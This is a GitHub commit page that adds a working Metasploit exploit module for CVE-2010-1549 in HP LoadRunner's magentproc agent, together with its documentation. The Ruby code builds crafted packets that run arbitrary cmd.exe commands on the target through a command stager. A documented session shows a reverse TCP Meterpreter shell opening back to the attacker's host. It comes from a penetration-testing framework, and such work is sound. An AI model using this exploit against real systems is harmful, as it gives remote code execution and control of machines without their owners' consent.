Skip to content

Commit 3516305

Browse files
h00dieh00die
committed
land rapid7#9191 an exploit against HP LoadRunner magentproc
2 parents bb97467 + 4dacc70 commit 3516305

File tree

2 files changed

+162
-0
lines changed

2 files changed

+162
-0
lines changed

‎documentation/modules/exploit/windows/misc/hp_loadrunner_magentproc_cmdexec.md

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
HP Mercury LoadRunner Agent magentproc.exe Remote Command Execution (CVE-2010-1549)
2+
3+
This module exploits a remote command execution vulnerablity in HP LoadRunner before 9.50 and also
4+
HP Performance Center before 9.50. By sending a specially crafted packet, an attacker can execute commands remotely.
5+
The service is vulnerable provided the Secure Channel feature is disabled (default).
6+
7+
During testing, additional versions were verified to be vulnerable. The following list documents them:
8+
9+
- HP LoadRunner 12.53 Community Edition (non-default SSL turned off)
10+
11+
## Vulnerable Application
12+
13+
HP LoadRunner 9.50 or below, or a version documented above.
14+
15+
## Verification Steps
16+
17+
1. Install the application
18+
2. Start msfconsole
19+
3. Do: ```use exploit/windows/misc/hp_loadrunner_magentproc_cmdexec```
20+
4. Do: ```set RHOST [ip]```
21+
5. Do: ```run```
22+
6. You should get a shell.
23+
24+
## Scenarios
25+
26+
### Win7 OS with HP LoadRunner 12.53 Community Edition
27+
28+
```
29+
msf > use exploit/windows/misc/hp_loadrunner_magentproc_cmdexec
30+
msf exploit(hp_loadrunner_magentproc_cmdexec) > set RHOST victim
31+
RHOST => victim
32+
msf exploit(hp_loadrunner_magentproc_cmdexec) > exploit
33+
34+
[*] Started reverse TCP handler on 1.1.1.1:4444
35+
[*] victim:54345 - Sending payload...
36+
[*] victim:54345 - Command Stager progress - 1.47% done (1499/102292 bytes)
37+
[*] victim:54345 - Command Stager progress - 2.93% done (2998/102292 bytes)
38+
[*] victim:54345 - Command Stager progress - 4.40% done (4497/102292 bytes)
39+
[*] victim:54345 - Command Stager progress - 5.86% done (5996/102292 bytes)
40+
[*] victim:54345 - Command Stager progress - 7.33% done (7495/102292 bytes)
41+
...snip...
42+
[*] victim:54345 - Command Stager progress - 92.32% done (94437/102292 bytes)
43+
[*] victim:54345 - Command Stager progress - 93.79% done (95936/102292 bytes)
44+
[*] victim:54345 - Command Stager progress - 95.25% done (97435/102292 bytes)
45+
[*] victim:54345 - Command Stager progress - 96.72% done (98934/102292 bytes)
46+
[*] victim:54345 - Command Stager progress - 98.15% done (100400/102292 bytes)
47+
[*] victim:54345 - Command Stager progress - 99.55% done (101827/102292 bytes)
48+
[*] victim:54345 - Command Stager progress - 100.00% done (102292/102292 bytes)
49+
[*] Sending stage (179267 bytes) to 2.2.2.2
50+
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:55556) at 2017-11-09 03:53:08 +1100
51+
52+
meterpreter > sysinfo
53+
Computer : TARGET
54+
OS : Windows 7 (Build 7601, Service Pack 1).
55+
Architecture : x64
56+
System Language : en_AU
57+
Domain : DOMAIN
58+
Logged On Users : 3
59+
Meterpreter : x86/windows
60+
meterpreter >
61+
Background session 1? [y/N]
62+
63+
```

‎modules/exploits/windows/misc/hp_loadrunner_magentproc_cmdexec.rb

Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::Tcp
10+
include Msf::Exploit::CmdStager
11+
12+
def initialize(info={})
13+
super(update_info(info,
14+
'Name' => "HP Mercury LoadRunner Agent magentproc.exe Remote Command Execution",
15+
'Description' => %q{
16+
This module exploits a remote command execution vulnerablity in HP LoadRunner before 9.50
17+
and also HP Performance Center before 9.50. HP LoadRunner 12.53 and other versions are
18+
also most likely vulneable if the (non-default) SSL option is turned off.
19+
By sending a specially crafted packet, an attacker can execute commands remotely.
20+
The service is vulnerable provided the Secure Channel feature is disabled (default).
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'Unknown', # Original discovery # From Tenable Network Security
26+
'aushack' # metasploit module
27+
],
28+
'References' =>
29+
[
30+
['CVE', '2010-1549'],
31+
['ZDI', '10-080'],
32+
['BID', '39965'],
33+
['URL', 'https://support.hpe.com/hpsc/doc/public/display?docId=c00912968']
34+
],
35+
'Payload' => { 'BadChars' => "\x0d\x0a\x00" },
36+
'Platform' => 'win',
37+
'Targets' =>
38+
[
39+
# Note: software reportedly supports Linux - may also be vulnerable.
40+
['Windows (Dropper)',
41+
'Platform' => 'win',
42+
'Arch' => [ARCH_X86, ARCH_X64]
43+
],
44+
],
45+
'Privileged' => false,
46+
'Stance' => Msf::Exploit::Stance::Aggressive,
47+
'DisclosureDate' => 'May 06 2010',
48+
'DefaultTarget' => 0))
49+
50+
register_options([Opt::RPORT(54345)])
51+
end
52+
53+
def autofilter
54+
true
55+
end
56+
57+
def execute_command(cmd, _opts = {})
58+
guid = Rex::Text.encode_base64(Rex::Text.rand_text_alphanumeric(17))
59+
randstr = Rex::Text.rand_text_alpha(16)
60+
server_name = Rex::Text.rand_text_alpha(7)
61+
server_ip = datastore['LHOST']
62+
server_port = Rex::Text.rand_text_numeric(4)
63+
# If linux is one day supported, cmd1 = /bin/sh and cmd2 = -c cmd
64+
cmd1 = "C:\\Windows\\system32\\cmd.exe"
65+
cmd2 = "/C \"#{cmd}\""
66+
67+
pkt1 = [0x19].pack('N') + guid + '0'
68+
69+
pkt2 = [0x6].pack('N') + [0x0].pack('N') + "(-server_type=8)(-server_name=#{server_name})(-server_full_name=#{server_name})"
70+
pkt2 << "(-server_ip_name=#{server_ip})(-server_port=#{server_port})(-server_fd_secondary=4)(-guid_identifier=#{guid})\x00\x00"
71+
pkt2 << [0x7530].pack('N')
72+
73+
pkt3 = [4 + pkt2.length].pack('N') + pkt2
74+
75+
pkt4 = [0x1c].pack('N') + [0x05].pack('N') + [0x01].pack('N') + randstr + pkt3
76+
77+
pkt5 = [pkt4.length].pack('N') + pkt4
78+
79+
pkt6 = [0x437].pack('N') + [0x0].pack('N') + [0x31].pack('N') + [1].pack('N') + [0x31000000].pack('N')
80+
pkt6 << [cmd1.length].pack('N') + cmd1 + "\x00" + [cmd2.length].pack('N') + cmd2 + [0x0].pack('N') + [0x0].pack('N')
81+
82+
pkt7 = [4 + pkt6.length].pack('N') + pkt6
83+
84+
pkt8 = [0x18].pack('N') + [0x04].pack('N') + randstr + pkt7
85+
86+
pkt9 = [pkt8.length].pack('N') + pkt8
87+
88+
sploit = pkt1 + pkt5 + pkt9
89+
90+
connect
91+
sock.put(sploit)
92+
disconnect
93+
end
94+
95+
def exploit
96+
print_status('Sending payload...')
97+
execute_cmdstager(linemax: 1500)
98+
end
99+
end

0 commit comments

Comments
 (0)